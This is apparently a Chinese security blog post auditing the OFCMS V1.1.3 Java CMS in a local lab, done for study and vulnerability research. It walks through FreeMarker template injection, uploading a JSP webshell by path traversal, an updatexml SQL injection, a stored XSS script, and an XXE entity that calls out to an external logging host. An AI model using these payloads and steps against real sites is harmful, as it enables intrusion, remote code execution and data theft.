点击上方蓝字·关注我们
由于传播、利用本公众号菜狗安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号菜狗安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,会立即删除并致歉。
项目详细
项目介绍
项目结构
路由关系
环境搭建
数据库配置
Tomcat配置
漏洞挖掘
SSTI模板注入(CVE-2019-9614)
文件上传
SQL注入
存储型XSS
XXE
总结
项目详细
项目介绍
java 版CMS系统、基于java技术研发的内容管理系统、功能:栏目模板自定义、内容模型自定义、多个站点管理、在线模板页面编辑等功能、代码完全开源、MIT授权协议。
技术选型:jfinal DB+Record mysql freemarker Encache spring 等 layui zTree bootstrap 。
特点:支持多站点、可以根据需求添加手机站、pc站。
项目结构
系统的主要功能源码是在ofcms-admin目录下,api目录下是一些功能点调用的接口
由于存在ofcms下的子项目,所以如果要看导入依赖的话,不仅要看子项目的pom.xml文件,还要看父项目的pom.xml,因为是存在继承关系的。
路由关系
这台系统前端的功能点较少,主要功能集中在后端,也就是admin目录
我们随便打开admin目录下的一个controller下的文件
可以发现路由关系是/comn/service,其实如果要触发这处代码的实际路由是admin/comn/service
路由配置文件:ofcms-V1.1.3ofcms-adminsrcmainjavacomofsoftcmscoreconfigJFWebConfig.java
com.ofsoft.cms.admin.controller
和com.ofsoft.cms.front.controller
目录下的方法路由访问都需要加上/admin
环境搭建
项目地址: https://gitee.com/oufu/ofcms/releases/tag/V1.1.3
我这里采用IDEA+tomcat搭建
IDEA打开项目,等待Maven构建完成
数据库配置
修改数据库配置文件,根据配置信息创建对应数据库
数据库配置文件:ofcms-V1.1.3ofcms-adminsrcmainresourcesdevconfdb-config.properties
创建完成后,导入数据库文件
sql文件:ofcms-V1.1.3docsqlofcms-v1.1.3.sql
Tomcat配置
添加本地tomcat,添加工件
配置完成后启动项目
如果手动配置完,启动项目还是安装界面,重启服务器后无效
解决办法,把db-config.properties文件修改为db.properties
文件位置:ofcms-V1.1.3ofcms-adminsrcmainresourcesdevconfdb-config.properties
修改后重启服务器即可
后台地址:http://localhost:8080/admin
管理员账号:admin/123456
漏洞挖掘
SSTI模板注入(CVE-2019-9614)
在网站后台,发现模板文件这个功能模块,发现模板文件是可以修改的
看到这个功能就发现不对劲了,回到源码中去看采用什么技术解析模板
在父项目的pom.xml文件中发现导入了freemarker依赖,可能是采用这个解析模板。
我们使用freemarker模板注入的poc,写入文件中
保存后访问首页
计算器弹出,命令执行成功
文件上传
还是修改模板文件的那处功能点,类似这种修改文件内容的功能,它可能是重新创建文件然后覆盖,目前可以知道文件内容是我们可控的,接下来要看文件名是否可控,burp抓包
访问路由是/cms/template,在代码中全局搜索,定位到文件:ofcms-V1.1.3ofcms-adminsrcmainjavacomofsoftcmsadmincontrollercmsTemplateController.java
控制我们文件名的参数是file_name然后赋值给fileName,这里可以看到没有对fileName做任何处理,也就是说我们可以构造../../shell.jsp这样的文件名自定义文件目录
在源码中查看是否存在jsp解析
发现在static目录下可以解析.jsp文件,那么我们上传jsp木马到static目录下即可
burp抓包,修改文件内容和文件名
发包,可以看到文件成功上传
上传成功,哥斯拉配置连接
SQL注入
在后台发现了一处代码生成的功能点,点击添加发现好像可以添加sql语句
burp抓包,通过路由,定位代码段
可以看到sql是我们传入的内容可控,接着执行的update更新语句,getPara中是没有我们传入的内容进行过滤的
这套系统在执行sql操作存在变量拼接的地方都做了预编译
但是这一处整条sql语句都是我们可控的,没有?占位符,所以是可以注入的
查看数据库中的表
随便选一个,修改列内容为注入poc
update of_cms_ad set ad_id=updatexml(1,concat(0x7e,(user())),0) where ad_id=1
存储型XSS
在前台文章处发现留言功能,不必多说留言一直是XSS的重灾区
burp抓包,根据路由定位对应代码段
这里通过getParamsMap方法,获取用户提交的所有参数,后续调用 Db.update()方法将数据更新到数据库中,没有对用户输入的数据进行过滤。
把payload插入comment_content参数中
<script>alert("菜狗安全")</script>
XXE
这个真的是经验主义的,我是找不到这一处,参考了文章,参考文章的作者也没说挖掘思路,我只能以结果来反推挖掘思路
漏洞的触发点是JasperCompileManager.compileReport
这个方法,由于没有对应功能点,应该是关键字搜索定位到的
compileReport
是 JasperReports
库中的一个方法,用于编译 JasperReports
报表模板文件,我们跟一下这个方法
往下执行了.compile(),接着往下跟
它执行了JRXmlLoader.load()
,其实到这里就不用跟了,这个方法会解析 .jrxml
文件中的 XML 内容,后续会执行JRXmlLoader.loadXML()
方法,loadXML
方法中调用了Digester类的parse解析XML
漏洞点知道了,会到代码段,解析的文件名是通过getParamsMap()
的get方法获取的,参数名是j
,然后拼接,赋值给jrxmlFileName
,然后创建File,最后带入compileReport
执行,这里没有对我们传入的文件名进行过滤也是可以通过../进行跨目录,结合前面的文件上传功能点,上传一个xxe.jrxml文件
<!DOCTYPE b [<!ENTITY % xxe SYSTEM "http://zp2uen29.requestrepo.com">%xxe;]>
然后构造访问路由访问,它这里代码段中没有路由信息,我这里是全局搜索reprot,找到了路由构造,应该是有其它思路定位到路由,但是我没发现
构造访问路由
http://localhost:8080/admin/reprot/expReport.html?j=%E2%80%A6/%E2%80%A6/static/xxe
Dnslog平台收到请求
总结
这套系统大部分功能都考虑到了安全性,就比如sql语句的操作,全都使用了预编译,本来都放弃sql注入的挖掘了,没想到有一处整条sql语句都可控,无法预编译,还有像模板功能的注入、文件操作时的文件名未检测、评论区xss,也都是比较经典的易产生漏洞的对应功能点了。最后的xxe,不太常见,和JspxCMS那篇的反射异曲同工之妙,得能上传跨目录文件,XXE危害本身较小,漏洞利用条件苛刻,实际价值其实不大,但是对于审计来说,利用条件复杂不重要,有洞就行。
原文始发于微信公众号(菜狗安全):JAVA代审-OFCMS_V1.1.3
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论